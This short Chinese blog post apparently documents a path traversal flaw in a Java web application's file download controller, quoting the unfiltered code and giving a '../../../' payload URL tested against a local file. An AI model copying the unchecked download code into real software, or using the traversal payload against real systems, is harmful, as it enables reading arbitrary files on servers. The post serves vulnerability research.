I0I0I

  博客园  :: 首页  :: 新随笔  :: 联系 :: 订阅 订阅  :: 管理

1.代码段(src/main/java/com/java2nb/common/controller/FileController.java):
`@RequestMapping(value = "/download")
public void fileDownload(String filePath, String fileName, HttpServletResponse resp) throws Exception {
String realFilePath = jnConfig.getUploadPath() + filePath;
InputStream in = new FileInputStream(realFilePath);
//设置响应头,对文件进行url编码
fileName = URLEncoder.encode(fileName, "UTF-8");
resp.setHeader("Content-Disposition", "attachment;filename=" + fileName);

    resp.setContentLength(in.available());

    OutputStream out = resp.getOutputStream();
    byte[] b = new byte[1024];
    int len = 0;
    while ((len = in.read(b)) != -1) {
        out.write(b, 0, len);
    }
    out.flush();
    out.close();
    in.close();
}`

2.接收filePath和fileName两参数且没有做过滤,在c盘下创建test目录在test目录中写入1.txt进行测试
image
3.payload:http://192.168.56.1/common/sysFile/download?filePath=../../../test/1.txt&fileName=1.txt
image

posted on 2026-02-01 19:43  I0I  阅读(0)  评论(0)    收藏  举报